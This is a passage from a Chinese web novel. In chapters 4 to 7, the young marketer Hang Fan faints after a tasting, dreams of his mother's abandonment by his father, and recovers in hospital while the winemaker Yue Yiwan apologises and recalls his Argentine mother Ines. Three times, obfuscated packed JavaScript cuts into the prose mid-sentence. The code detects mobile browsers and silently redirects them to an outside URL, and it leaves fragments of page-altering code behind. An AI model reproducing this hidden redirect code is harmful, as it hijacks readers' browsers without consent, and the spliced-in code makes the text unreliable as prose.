首席酿酒师的语气似乎和先前很不一样，可杭帆再没有余力去分辨这其中的细微不同。 猛然间，他的世界被拉掉了电闸。 天旋地转之中，杭帆只觉眼前一暗，身体猝然倒向了地面。 4. 前尘梦 黑暗是一条通往无垠与未知的漫长走廊。 在这片昏沉的黯色中，他摸索着向前走去。 此地的空气凝滞，有淡淡的消毒水气味。 在某个离他很近但又看不见摸不着的地方，负重的滚轮正吱呀吱呀地碾过地面。 恍惚间，似乎有什么人在叫他的名字。 “杭帆！杭帆，你能听见我说话吗？杭帆——” 「杭帆。」 那是一把饱含着动人微笑的年轻嗓音。 如此的亲切，又如此温柔，令他怀念，又令他痛苦。 「杭帆，小宝！」 漆黑走廊的尽头，有一抹微光亮起。 暖白色光晕里，熟悉的身影渐渐浮现。 「妈妈已经办完手续啦。」 杭艳玲蹲下身来，语笑嫣嫣地冲他张开双臂：「我们小宝终于要出院回家啰！」 她穿一件红白条纹的连衣裙，花朵形状的水钻发卡在鬓边闪闪发光。 「我们回家做糖粥吃，好不好？多放点糖桂花和红枣在里面，好不好？」 仍然有些懵懂地，他被妈妈抱了起来。尽管动作有些吃力，但她转身往医院门外走去的脚步却十分轻快。 「马上就要到小宝的五岁生日了，」杭艳玲的语气里满是幸福的甜蜜，「刚好爸爸也要回来，我们一起去订个奶油蛋糕吧！要两层的，摆满水果的那种！」 她的头发卷曲而蓬松，像一段起伏的波浪，将小小的杭帆掩埋在其中。 她身上有一种好闻且令人安心的香气，像是白猫牌洗衣粉与郁美净面霜的余香。 只是眨了下眼睛的功夫，太阳就已斜坠下去，天边烧起了火红色的霞光。 杭艳玲跪在门边的水泥地上，一手紧紧拽着行李箱的拉杆，一手死死揪着那个男人的裤腿。 「你不要走，求求你，你不要走好不好？」 她的嗓子已经哭哑了，泪水在脸上冲出几道斑驳的粉痕。 动弹不得地，小杭帆站在楼梯口的拐角。 他捏紧了书包的背带，两腿打颤，不敢往自己的家门口迈近一步。 他畏惧于那男人粗暴的动作，更畏惧于妈妈那破碎般绝望的哀哭。 「哎哟，你放手，你放手哇！」 那男人四下里慌张地打量一圈，冷不丁抬脚踹开了她的胳膊，又急急忙忙地劈手夺过行李箱。「咱们结束了，拗断了，各归各！」 眼见附近无人，他立刻又神气活现起来。 往地上用力啐了一口，那男人把头发往后一抹，又扭过脸来骂骂咧咧道：「杭艳玲，你他妈不要脸，我还要脸呢！要是‘好聚好散’这话你听不懂，再这样闹下去，可有你吃不了兜着走的！」 「你别走！」 杭艳玲的腿已经跪麻了。她爬不起来，只能跌撞着膝行几步，重又抓住了男人的衣摆：「你走了，小宝怎么办？」 她哭得几乎呛住，可说起话来仍旧是又急又快：「他才八岁啊！你是他爹，你难道就不养他了吗？！」 嗤笑一声，那男人扬手甩下一个响亮的耳光。 「谁知道你有没有和其他男人困告！」 他提起行李箱，头也不回地丢下了最后一句话：「我儿子？放屁！我老婆生的才是我儿子！」 意识到自己被生父抛弃了的杭帆，猛然扔下了书包，泪流满面地跑向他正挣扎着站起来的妈妈。 杭艳玲紧紧地抱住了他，像是在水中挣扎的人抱住一根救命的稻草。 她抱得是那样用力，以至于小杭帆的肩胛骨都痛得像是要碎掉。 可是他一声都不敢吭。 「贱人，烂人！」 他听见妈妈哭着诅咒那个昂首阔步地离去的男人。 「你会有报应的，你会下地狱的！我恨你，我恨你！」 杭帆也跟着大声嚎哭起来。 「妈妈不要哭，妈妈别哭。」 明明自己也哭得眼前一阵阵发黑，小小的杭帆却仍旧努力地拍着杭艳玲的后背。 「我不走，我留下来陪你。我不走，妈妈别哭了，妈妈……」 眼前画面一晃，杭帆发现自己正在餐桌前写作业。 左手边是高中二年级的各科教材，右手边手边则叠着厚厚的一摞补习班试卷。 就着台灯的光，杭艳玲坐在餐桌的另一头织毛线衣。 「你要好好学，听到没有？」 她手里拈着两根竹针，带动橘红色的羊绒线上下翻飞。 看也不看他一眼，杭艳玲只专注地盯着手里的毛线衣——这是客人订的衣服，花色和大小都出不得一点差错——口中的字字句句却都是对杭帆说的。 「不要学那些人的样，十六七岁了，老大不小了，还天天净只想着玩。脑子拎不清爽，真是么五么六。」 她说，「不然你想想，你妈妈累死累活，上班回来还要替人织毛衣，这都是为了谁？」 杭帆一声不响。 手里的笔没水了，他利落地从笔袋里摸出一支新笔。 信奉“高中三年，争分夺秒”的杭艳玲，认为更换笔芯的动作会浪费做题时间，所以家中总有十几盒签字笔给他常备着。 「要不是为了养你喔，我两手一摊，早自个儿逍遥快活去了。」 她的毛线织得又快又密，像是一道道紧箍咒，层层叠叠地捆在杭帆的脖子上。 「好好学，要争气，知不知道？」 她自顾自地念叨，「你爹的另一个儿子，前年高考，成绩真是一塌糊涂。」 尽管杭艳玲掩饰得很好，但杭帆依然听得出来，在她故作平静的语气下所隐藏着的得意与轻蔑：「要不是你爹到处找人托关系，哎唷，就那小子的成绩，连个民办大学都上不了呢。」 她织完一只袖筒，喘了口气，起身给杭帆倒了满满一杯牛奶。 满怀期望地，她说：「往后你考上了好大学，给你爹知道，他心里也喜欢不是？」 「他不是我爹。」杭帆说。 他在做数学试卷，头也不抬，每一个字却都像是从后牙槽里咬出来那样用力。 铛得一声，杭艳玲把装着牛奶的杯子狠狠砸在了他面前。 「你别跟我犟。」 每次说到这个话题，她的声音就开始发抖：「你是他的儿子，你总得认祖归宗的。难道妈妈还能害你不成？」 「你好好学，好好考，好不好？」 她的语气简直近乎于哀求：「你得让他看看，我杭艳玲的儿子，不比他老婆生的儿子差。」 「妈妈只有你了，小宝。我只有你了。」 杭帆用力地闭上眼睛。 再次睁开眼的时候，他坐在桂林的竹筏上，正要收起相机。 那是春水初暖的时节，刚以独立广告人身份做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438190|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完一个大项目的杭帆，在休假时接到了罗彻斯特集团的猎头电话。 紧随其后的，是杭艳玲拨来的微信视频。 廿余载风霜刀剑，终究还是在她美丽的面庞上刻下了浅淡痕迹。 但在视讯电话里，她竟如同十几岁的怀春少女一般，羞怯笑靥里满是欲说还休的喜悦。 「小宝啊，」她久违地化上了妆，嘴唇上的口红也是当下时新的颜色，语气更是甜蜜得让人心头起疑：「这几天是不是还在放假呀？那你好不好回家里来一趟喔？」 此时，距离春节假期还没过去不久。 前一个项目结束，杭帆分到一大笔奖金，高高兴兴地带着妈妈一起去了趟马尔代夫。 眼下他离家尚不足半月，突然这样急匆匆地要他喊回家去…… 杭帆心下一沉，突然有了极其不好的预感。 隔着一段迢迢山水，杭艳玲并没能即时体察到儿子的心情，她说：「你爸爸的——」别扭地停顿了一下，她这才继续道：「他的夫人，上年年底的时候死了，你还记得吧？」 她的语气里有一种轻飘的快乐，像是被囚禁多年的鸟儿，终于要展翅高飞一般。 「他前几天老跟我说呢，说他年轻的时候糊涂，这些年让咱们母子受苦了。」 满怀憧憬地，杭艳玲对他嫣然一笑：「小宝，你爸爸说想要见你呢！要不，你这两天抽个空，回来里来一趟，好不好？咱们一家人一起，坐下吃个饭，好好聚一聚……」 站在竹筏上的杭帆，只感觉眼前一片昏沉沉的天旋地转。 他想要呕吐，想要尖叫，想要大喊，想要把手机恶狠狠地扔进漓江中去。 妈妈。 他痛苦地弯下腰去，捂住了嘴。 妈妈。 我是为了想要成为一个争气的、能够让你骄傲、能够为你遮蔽风雨的人，才拼尽全力地努力到今天的。 再一次地，胃抽搐着绞痛起来。 千百片锋利的刀刃刮擦着他的胃壁，使他几乎无法顺畅地呼吸。 妈妈。 或许你并不能明白，比起朝九晚五的坐班岗位，独立广告人的工作模式才更让我感到快乐。 可是，为了能够给你更稳定的生活，为了能让你不要再为我操心，我刚刚选择了放弃这一切，接下了来自罗彻斯特集团的offer。 妈妈。 我害怕自己是同性恋的事实会让你伤心，我害怕你会因为我喜欢男人而自责。 所以我不敢告诉你，更不敢真正地开始一段恋爱。 身为杭艳玲的孩子，做出这样的抉择，杭帆从未感到过后悔。 因为他深知，在这个世界上，自己是她仅剩的依靠与希望。 可是，妈妈。 为什么，在被抛弃了那么多年之后，在我拼劲一切地去努力了之后，你却仍然要选择那个让我们痛苦了这么多年的男人？ 愤怒与失望，如燎原火焰般在杭帆的皮肤底下静默地燃烧着。 而他却感到自己疲惫、渺小且无力。 无论怎样竭尽全力地伸出双手，似乎都已经无法再阻止自己这颗饱饮了苦水的心，如失控的无人机般极速地坠毁向地面。 然后，他听见一个熟悉的声音在呼唤。 “杭帆？” 那丝绒般华美的嗓音，像是一双坚定有力的手，轻柔地将他自魇梦中捞起。 5. 胡萝卜复合果蔬汁 岳一宛静静地看着病床上的人。 急诊室的枕褥单薄而煞白，尚在昏睡的杭帆身陷其中，看起来年轻得近乎于引人令人哀怜。 他阖着眼睛，长而直的睫毛拢并在一起，像蝴蝶停立在静谧的春光里。而那截吊着点滴的手腕正露在被单外，雪洗般干净与清峻，好似羊脂白玉里琢出的一支病梅。 真奇怪，岳一宛心想。 姿容美丽的人往往过分倚重自己的外貌，就像暴发户总以为金钱能为万事万物开路。 可杭帆这人，分明有一张老天赏饭的好皮相，却像是丝毫没有想到过要利用这个优势。 初次见面，这人正龇牙咧嘴地抓着栅栏抽风，端正的五官纠拧成团，活像是一张猫吃柠檬的搞笑表情包。岳一宛乐不可支，站在一旁观察了整整三分钟，才开口替人解围。 一旦敛去了那副气急跳脚的神情，“杭总监”身上又平添回了几分端然凛冽的味道。挑剑出鞘般锋利上扬的眼尾，仿佛是对其人个性的某种昭示。 至少，在与杭帆握手的那一霎那，岳一宛确实有过期待：酒庄的生活漫长而枯燥，他十分期待自己的新同事会是位性格有趣且棱角锋利的人。 孰料，杭帆甫一开口，俨然就是岳一宛最厌烦的那种类型。 且不说那四平八稳的社交辞令听得人耳朵生茧，就连他提出的营销方案，都是直播带货一类低级玩意…… 天，这可真是珍珠秒变死鱼眼。斯芸的首席酿酒师大摇其头，在心中毫不留情地给“杭帆”二字上打了个叉。 可是，坐在杭帆的病床边，岳一宛不由地小小反省了一下：这个人，当真如同自己所想象的那样肤浅吗？ “品酒这种事情，很多人就算闻不出来，喝不明白，也会胡言乱语地敷衍应和上几句。” 单手托着下巴，岳一宛百无聊赖地凝视着杭帆的睡颜：“哪有第一次学品酒，就要硬喝到‘全对’不可的……” ——这家伙，不会是个大傻子吧？ 岳一宛正在心里暗自叨咕，床上的人却突然挣动两下，喉咙里发出受伤小兽般呜咽的呻吟。 “杭帆？” 几乎是条件反射地，他从床边的椅子上跳了起来，用纸巾拂去病人额上急剧渗出的冷汗，“杭帆，杭帆！你醒了吗？你醒醒！医生、医生——” 正要伸手去摁床头的紧急呼唤铃，床上的那人却终于猛然睁开了眼睛。 “你好吵……” 杭帆挤出了第一句话。 “有水吗？” 他的嗓音沙哑，语调也疲软，神智却显然已归于清晰。 这让岳一宛不由大大松了口气。 岳一宛拿起床头的果汁，拧开盖子，递进了病号手中。 “医生让你醒来后先喝点果汁。” 他的语气里有几分自己都没察觉到的嗔怪：“空腹喝酒引起的酒精性低血糖。你没吃早饭，怎么也不跟我说？” 杭帆可顾不上搭理这人。他渴得喉头冒烟，像是一头在沙漠中迷路了四个月的倒霉骆驼，抓起瓶子就仰头往嘴里灌。 直到喝光了一整瓶果汁，杭帆才终于感到稍稍缓过了气。 彻底回魂之后，果汁的余味渐渐涌上口腔。 小杭总监微微皱起了眉毛，“……这是什么东西？” 半是惊恐半是嫌弃地，他举起了手中的塑料瓶，后知后觉地试图分辨标签上的字样：“我靠，这味道也太怪了！” “会吗？” 罪魁祸首满眼都是矫揉做作的无辜：“我觉得还挺好喝的呀？毕竟是复合胡萝卜汁，百分百果蔬鲜榨，很有营养哦。” “胡萝卜？”杭帆靠在床头，狠狠咬牙，“狗都不吃的玩意儿，你竟然拿来给病患喝……” 他的表情比生吞黄连还苦涩，让岳一宛笑得肩膀都在抖。 “医院里的便利店里就只剩这个了，你凑合着喝吧。”岳一宛尽力摆出他最真诚的语气：“胡萝卜和苹果嘛，味道也不会差到哪里去。” 杭帆撇了下嘴，每一根轻微晃动的头发丝儿都在无声呐喊着他的不赞同。 “竟然会觉得胡萝卜汁好喝。”他悄声嘀咕，“斯芸的首席酿酒师怕不是没有味觉吧？算了，我看这家公司真的是要完蛋……” “你说谁没有味觉？” 笑眯眯地把脸怼到病患的面前，岳一宛十分麻利地又拧开了一瓶胡萝卜汁。 “来，多喝点，”这人的微笑标准得可以充当变态杀人狂电影的海报：“医生说你要多补充点糖分和维生素，别客气。” 在这场恶性职场霸凌即将发生的前一秒，护士姐姐推门而入。 “醒了啊？” 她看了眼还剩一丁点儿的葡萄糖水吊瓶，又看了看病床上正把三拳四掌拧成一团的二人，忍俊不禁道：“哟，你还亲自动手喂他喝水呢？感情真好。” 松开了那双钳制着“受害人”胳膊的魔爪，岳一宛风度翩翩地站起身来向她点头致意。 “份内之事，应该的。” 川剧演员都没他变脸的速度快！ 杭帆被这厮气得两眼发花（也可能是饿的），深深地明白了一个再浅显不过的事实：岳一宛，属实是一位被酿酒事业耽误了的影帝。 此刻，这厮笑容温文，举止优雅，衬着那一身西装马甲勾勒出的流畅肩腰线条，很是有几分人模狗样的绅士气质。 他一边为护士移开床边那只挡路的椅子，一边柔声发问：“您好，我想请问一下，医院的食堂在哪里？听医生说，他这样的状况，今天最好还是喝点粥，所以我想去食堂就近买一份。” 护士俯身下来查看杭帆的状况，闻言笑着颔首，对岳一宛说：“确实，喝粥血糖升得快。喏，食堂在隔壁楼栋。” 岳一宛连声道谢，缓步走向门口时，又噙笑回头向杭帆看了一眼，表情邪恶得如同犯罪预告：“那我暂时离开一下，杭帆就暂时麻烦您照看一下了。” 且观这人的眼色，分明就是没安好心！ 小杭总监不由心头大惊。 这厮不会没品到连一句“你没有味觉“的玩笑话都要报复到底吧？他颇感惊悚地想，难道这次是要拿一盆满是胡萝卜的盖浇饭回来？ 这听起来真的很像是岳一宛会做出来的事啊！ “打扰一下，”出于对胡萝卜与生俱来的深刻恐惧，杭帆有些急切地问向护士：“请问，我大概什么时候能出院？” 正在给他新插上一袋的点滴护士笑道：“挂完这瓶，再观察半小时，就结束了。” 扫描完病患手上的姓名腕带，她抬起头来，见面前的年轻人神色低郁，有意又和缓了口吻道：“是有很重要的工作要做？那也不能急这一时呀。” “虽然都说是小毛病，但低血糖也是真的会死人的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438191|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她语气真挚，嗓音轻柔，与年轻时的杭艳玲很有几分肖似。 “再说了，你一个人出门在外工作，家里爸妈也一定很记挂着你呀。要是有个什么三长两短，做妈妈的可要怎么办呢？” 想到远在家乡的杭艳玲，杭帆心头蓦得一软，又陡然从中翻搅出了无限的酸。 他垂下眼睛，重重点了点头，“嗯。”他说，“好。” 一刻多钟后，岳一宛回到急诊室的输液病房。 夕阳低垂，酡醉的天际泼洒出金红的辉光，群鸟也在暮色掩护下啁啾振翅着回巢。 杭帆正坐在病床上，侧脸望向窗外出神。熔金的一线霞光，暧昧地吻过发梢与鼻尖，沿着下颌与喉结坠落，在这具略显清瘦的身形上勾描出一层鎏金的晕色。 黄昏静谧，万物悄寂如谜，而沉默敲打着岳一宛的心跳。 恍惚间，他疑似自己听见了孤独的回声。 “……你回来了？” 似乎是察觉到了来人的脚步，在岳一宛在开口之前，杭帆就已转过身来。 “谢谢你送我来医院，”他客气地说道，“不好意思啊，今天还是工作日，给你添麻烦了。” 随着理性的回笼，方才那些因着胡萝卜果汁而起的生动神情，都被杭总监再度折叠起来，隐藏进了这副淡然而疏离的外表下。 “我输液可能还要好一会儿，你就先回去吧？今天实在是有劳你了，等回了酒庄，我再请你吃饭道谢。” 这句谢客令委婉又得体，实也不能挑出什么错处。 料想寻常同事关系，把人送到医院就已经算是仁至义尽。听了这话，多半已在心中暗暗松了口气，再笑着拍一拍杭帆的肩，让他好好休息好好吃饭，最多叮嘱两句工作别太拼命，就可以转身回到自己的日常生活中去。 可岳一宛呢？他对此不做任何回应，只是笑眯眯地举步走上前来，将手里的两个饭盒放到了杭帆面前。 “皮蛋瘦肉粥，和南瓜小米粥，你选哪一个？” 他弯起了眼睛，语调轻柔得让人脊背发毛：“如果杭总监都不喜欢的话，我觉得食堂的胡萝卜馅儿包子也不错，再配一盘胡萝卜炒肉丝，一定让人食指大动。” 这厮根本就是披着人皮的恶魔啊！！杭帆在心中发出了惨叫。 眼疾手快地摁住了其中一只饭盒的盖子，小杭总监坚定点头：“南瓜粥，南瓜粥就好。” 若有所思地哦了一声，岳一宛拿过了另一碗粥：“原来杭总监喜欢甜口的。” 他一边掀开饭盒的盖子，一边慢悠悠地道：“其实医院食堂里还有一种甜羹，是在酒酿蛋花汤里加入了切碎的胡萝卜丁……” 大脑不受控制地想象了一下那个味道，害得杭帆连打几个哆嗦，差点把一整勺的粥都给泼出去。 看样子我还得该谢谢你，良心未泯放我一马？ 小杭总监默默在心底哼了一声，低头把清甜的南瓜粥送进口中。 杭帆实在是饿得狠了。满满一大碗粥，他三下五除二就喝得见了底，又喝了小半瓶水，这才慢慢生出了惬意的饱足感。好似一条腾在空中的饿死鬼，飘飘忽忽地降落回到了温软的躯壳里。 “杭帆。” 刚放下塑料勺，他就听岳一宛在叫自己。 “抱歉。”以一种前所未有的郑重语气，斯芸的首席酿酒师说：“让你晕倒，是我的错。” 6. Ines “没没没……”杭帆一愣，赶紧摆手。 原以为，骄矜高傲如岳一宛，哪怕是捅破了天，也自有一番强词夺理的诡辩。眼下却意料之外地收到了对方道歉，小杭总监顿生几分措手不及的紧张：“这个，我酒量不好……早上又偷懒没吃饭，纯属是我的自己问题。” 果然，岳一宛压根儿就不知道“客气”二字怎么写。替他开脱不过是出于杭帆的好意，此人倒竟还煞有介事地点起了头。 “确实，”他犀利点评道：“你的生活作息实在太差了，这点我很认同。” 早该知道，这厮根本就不会真心实意地为任何事而感到抱歉！ 杭帆被他气得脑壳痛，张开嘴就想狠狠反呛几声。 只是话音还没抖落出来，被社畜生涯驯化了的嘴却已重又默默地闭上。 算了，算了，小杭总监对自己说道，人不能与狗一般见识。 看在是这人送自己来医院的份上，就姑且还是让让他吧。 “但事情一码归一码。” 岳一宛说，“之前没有告诉过你，品鉴红酒，并不需要要把酒液全部都喝掉不可，这是我的错。” “先前我以为，”言至此处，这人似乎有些想笑，“你把杯子里的酒全都喝了，是因为对自己的酒量很有信心，没想到……” 短暂地，他停顿了一刹，但很快就又肃正了神色。 “可是无论如何，身为你的品酒课老师，没能在事前及时告知，这都是不应该犯的错误。” 两手交叠在膝头，首席酿酒师端端正正地向杭帆略一俯身。 “对不起，”他的神情十分严肃，“因为我的失误，最后酿成了这样的结果，我很抱歉。” 半晌之后，杭帆听见自己短促地叹了口气，有似一个潦草的句号。 “没事的，”他说，“也怪我，因为一时逞强，所以……” ——所以什么呢？ 内心里，他听见那声迷惘的自问。 ——勉强自己，是因为不想被他人看轻。可是那又如何？ ——不被岳一宛看轻，那又怎么样？又能改变什么？ 嘴唇轻微地动了两下，杭帆似乎想要再说点什么，却到底没能及时地发出声音。 “所以。” 轻轻衔起了他的未尽之词，岳一宛问：“我们能不能重新再来一次？” 杭帆的思维小齿轮骤然卡住了壳。 “……什么？” “葡萄酒课。” 岳一宛出人意料地很有耐心，他重又复述了一遍：“我们可以从头开始，从最基础和最简单的部分开始。” 首席酿酒师的语气饱含真诚。 有那么一瞬，杭帆简直要以为，低血糖是真的给自己的大脑造成了重大损伤——否则，他怎么会觉得，矜傲到近乎于目下无尘的岳一宛，会有这种小心翼翼的、像是沙坑边的害羞孩子终于开口请求和友伴交换玩具似的语气呢？ 没有得到杭帆的回复，岳一宛的声音又绷紧了一些。 “你或许会认为，”他语速放慢了许多，明显是在斟酌自己的措辞，“今天下午的那些……‘课题’，是我有意在刁难你。” 有如被微风扰乱的水面那样，一丝微妙的不忿，轻涟般地掠过酿酒师的面庞。 杭帆大胆猜测，恐怕自己并不是第一个对岳一宛的“教学”做如是揣想的人。 “但其实我并没有这样的意思。” 岳一宛说。 他的声调实在是过于平静了，像是被人工抹平的、光洁如镜的冰面。 “诚然，世界上有各种各样不同的葡萄酒教学方式。但我已然倾向于用‘盲品’来作为品酒的入门级教学，是因为……小的时候，我妈妈也是用这种方式来教我的。” 他说，“我一直以为，这是最有趣，也最容易入门的方法。” 杭帆轻轻“啊”了一声。 “你妈妈，”这个熟悉的称呼令他心中一软，不自觉地放轻了语调，“她也是一位酿酒师？” “是的。” 斯芸的首席酿酒师说。 黯淡的暮光如一张褪去色彩的巨幕，自岳一宛的肩头渐渐沉落。 夕阳斜晖淡淡地抹在他的脸上，摹出一层似有还无的朦胧感伤。 “她是阿根廷人，出身于门多萨省的一家小酒庄。”他看向杭帆，“你有没有听说过过‘门多萨’这个地方？” 杭帆摇了摇头。 岳一宛微微折起了嘴角，“那么这就是你需要记住的知识点了，杭总监。门多萨是阿根廷葡萄酒最重要的产区。” 任何一个不认识Ines的人，只要见到过岳一宛，就一定会知道：身为岳一宛的母亲Ines，毫无疑问地是一位大美人。 而这个故事的最早开头则要追溯到1987年。 那年Ines刚满18岁，父亲安排她哥哥接手了家族的酒庄生意，却对她说：如果你也想给家里做点贡献的话，就赶紧嫁给当地那位年轻有为的葡萄酒经销商吧！ 与父亲大吵一架的Ines，最终在一位远房姨婆的资助下前往美国留学——她学的是葡萄酒酿造专业，因为老姨婆对她说，你为什么总想着要继承家里的那个破酒庄？姑娘，你完全可以拥有属于自己的酒庄！ 六年之后，怀着身孕的Ines与她的中国丈夫一起，远渡重洋，来到了这片古老的国土。 岳一宛出生的那一天，她与丈夫的葡萄酒酿造车间才刚刚建成。 「让我们来玩个游戏！」 从厨房走出来的Ines大声宣布道。 她刚从车间回来不久，防水围裙与橡胶靴子都还没来得及脱掉。但比起这些，她显然是觉得手里那只放有三个玻璃杯的托盘更加重要。 「猜猜看，哪一杯是梅洛葡萄的果汁？」 个头还不到餐桌高的小男孩，兴奋地从积木堆前站起身来，手脚并用地爬上桌边的椅子。 「妈妈！这次猜对了的话，可以奖励我一只拓麻歌子吗？」 他一边问，一边向着托盘伸出手去，毫不客气地把三杯葡萄汁都扒拉到了自己跟前，「就是艾蜜上次带来家里玩的那个！」 「怎么又要买新玩具呀！」Ines双手叉腰，指向地上的那堆积木：「你的积木才买来不到三天吧？」 小男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438192|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩儿嘟起了嘴，「可是艾蜜就有嘛……她都有三只拓麻歌子了！」 年轻的母亲噗嗤笑出声来，满怀怜爱地弹了弹儿子的脑袋瓜：「怎么艾蜜有的你就也都要有？艾蜜穿裙子，你难道也要跟她一起穿裙子？」 「行吧，」她最终豪爽地拍板道，「如果你一次就能猜中梅洛葡萄的那一杯，我就给你——Iván！！！不要把手指伸进葡萄汁里！！好脏啊！！」 「Iván！」 酿造车间的大门敞着，穿着工作服的Ines从门口探出头，「放学啦？怎么不和同学们一起玩？我上次路过你们学校，看到好多男孩子都在操场上打篮球呢！」 被妈妈叫住的岳一宛，在听到这个问话之后，略显不自在地动了动肩膀。 旋即，他发出了一声懒洋洋的哼笑。 「同学？」他满腹不屑，尖锐得像是一把削铅笔用的锋利小刀：「他们都是笨蛋，白痴，蠢材与傻瓜。我才不要和他们一块玩儿呢！」 Ines偏过头来看着他。她那柔软悠长的目光，总是如同一道温煦的微风，在少年嶙峋如山岩沟壑的心室里回荡。 「哎，Iván。」 做母亲的似乎总是能看透关于孩子的一切，却常常也只是微笑着摇一摇头。 「来吧，去酒窖。」她从酿造车间走出来，一把拽起了他的胳膊：「让我们来玩个游戏。」 「三个杯子，三支酒。」 像是驱赶着一条顽皮的小狗似的，Ines连声催促着岳一宛背过身去。 等他再度面向妈妈的时候，矮桌上已经摆出了三只高脚大肚的玻璃杯。 「找出它们中的哪一支来自气候更冷的产区，并说出产区的名字。」她用眼睛闪闪发光的眼睛看向自己的儿子：「来吧！来试试看！记得别都喝下去，尝完味道就吐进废液瓶里哦！」 岳一宛意兴阑珊地拈起酒杯，咕咚一声就把杯中物给喝了个精光。 「我看不出这有什么意义。」 他抹了下嘴，突然抬头说道：「就算能练出让顶级酒评家都自愧弗如的舌头，那又怎么样？」 「这里是中国，妈妈！」原是想潦草地摆一下手的岳一宛，不知为何，却突然奋力地挥动起了双臂：「这里根本没有人懂什么葡萄酒！」 他感觉自己的脸上发热，胸中像是有一团火在燃烧，仿佛是在没有形体的敌人面前绝望挥动着一杆长矛。他想要打碎面前一切，想要将这份令人窒息的热诚，与这几乎就要将人溺毙于其中的痛苦与无聊都给砸得稀巴烂。 「这些东西——上学，作业，老师！还有你们的狗屁工作，老爸和公司的狗屁股价，这全部的一切！」 13岁的岳一宛在地下酒窖里嘶哑地大喊，恨不能当场剜出自己的心来，「到底都有什么意义？！」 「噢，Iván。」 她的声音里满是纯然的心碎。不是为她自己，而是为面前这个因早慧的锋锐而遍体鳞伤的孩子。 「学校里到底发生了什么？你愿意跟我讲讲吗？」 Ines温柔地捉住了他的手，如同一剂清凉的膏药，轻轻抚上少年人灼痛的心头。 7. “我们来玩个游戏” 「我们来玩个游戏。」 最后一次说这话的时候，Ines正躺在病床上。 自打被医生判定时日无多的那一天起，她就果断地放弃了治疗。 九个多月的时间，她不仅完成了自己的最后一个榨季，还帮助几个独立酿酒师改进了他们的车间设计，又去了两所农业大学里做了一系列关于葡萄酒酿造的讲座。 行至生命的最后，这副日渐衰弱的身体，终于不再能够支撑她漫步于那片投注了半生心血的葡萄园里。 Ines住进了医院。直到这一刻，她身边的所有人才真正地意识到，她快要死了。 「我们来玩个游戏。」 她对岳一宛说，「前两天，你舅舅从阿根廷带来了很不错的酒。我先来选几支，然后让你来猜猜看，哪一支是来自门多萨的酒？」 十六岁的岳一宛，长手长脚，身材削瘦得像是一根竹竿。 面对妈妈的提议，男孩只是沉默着点了点头，随即动作麻利地把床头果篮边的几支酒一一递到了她的面前。 他知道，Ines剩下的时间已经不多了，因为就连她的微笑，都已经虚弱得有似狂风中摇动的烛光。不要说是小小的一个游戏，哪怕她是要求他徒手将家中酒窖里的藏酒全部都搬进病房里，岳一宛也一定会毫不犹豫地照做。 自从Ines入院，岳一宛仿佛在一夜之间脱胎换骨。他再也没有拒绝过妈妈的任何要求，每天下课之后，他都准时出现在病床前，笨拙而又温驯地为她端牛奶、削水果。 Ines笑着调侃他，说他突然乖巧听话得不像是自己的儿子，倒好像是她从别的什么人家里偷来了一只小天使。岳一宛在妈妈面前佯似害羞地打着哈哈，却在走出病房后捂着脸无声流泪。 他真的害怕自己做得不好，害怕自己还不足够体贴细致。他害怕告别的词句一语成谶，害怕俏皮话中的机锋突然伤害到她。他害怕这最后的相处时光，害怕任何一种在母亲与自己之间留下永远遗憾的可能。 「你很棒，Iván。」 钦叹地，Ines看向自己的孩子，「在和你同样年纪的时候，我还只能喝得出新世界产区与旧世界产区的不同。而你，Iván，你的灵敏味觉简直是天赐的礼物……无论是作为酿酒师，还是酒评人，这都是世上最好的天赋。」 在母亲的夸奖面前，他只能勉强地扯出一个酸楚的微笑。岳一宛低下头去，突然看见Ines手里握着的那瓶红酒，那枚画着连绵山脉的酒标一角，印着的正是她婚前的姓氏。 去国离乡廿余载，她总对岳一宛说起门多萨的迷人风土，说起安第斯山脚下的葡萄园，可她自己却是再也没有回去过。 「Iván。」 她的手指干燥温暖，摩挲过他的头发，是一种令人心碎又留恋的触感。 「我……」 两双一模一样的绿眼睛，无言地注视着彼此。Ines犹豫了许久，想要说点什么，最后却只笑着摇了摇头。 「有你做我的孩子，我很幸福。」她说，「也许，我已经没有机会看到你长大成人的样子了。但是Iván，无论你以后选择成为什么样的人，选择从事什么样的行业……我都希望你能够幸福、快乐，好吗？」 「对我来说，这比什么都重要。」 无法向旁人叙述的一段段回忆，像是一只只低徊的蜻蜓。它们在岳一宛的心间略略点过，荡出一圈又一圈的复杂涟漪，又倏然扇翅飞走了。 敛起散乱的思绪，他重又收回视线，冲杭帆微微一笑，道：“她不仅是我的母亲，也是我最初的恩师。” 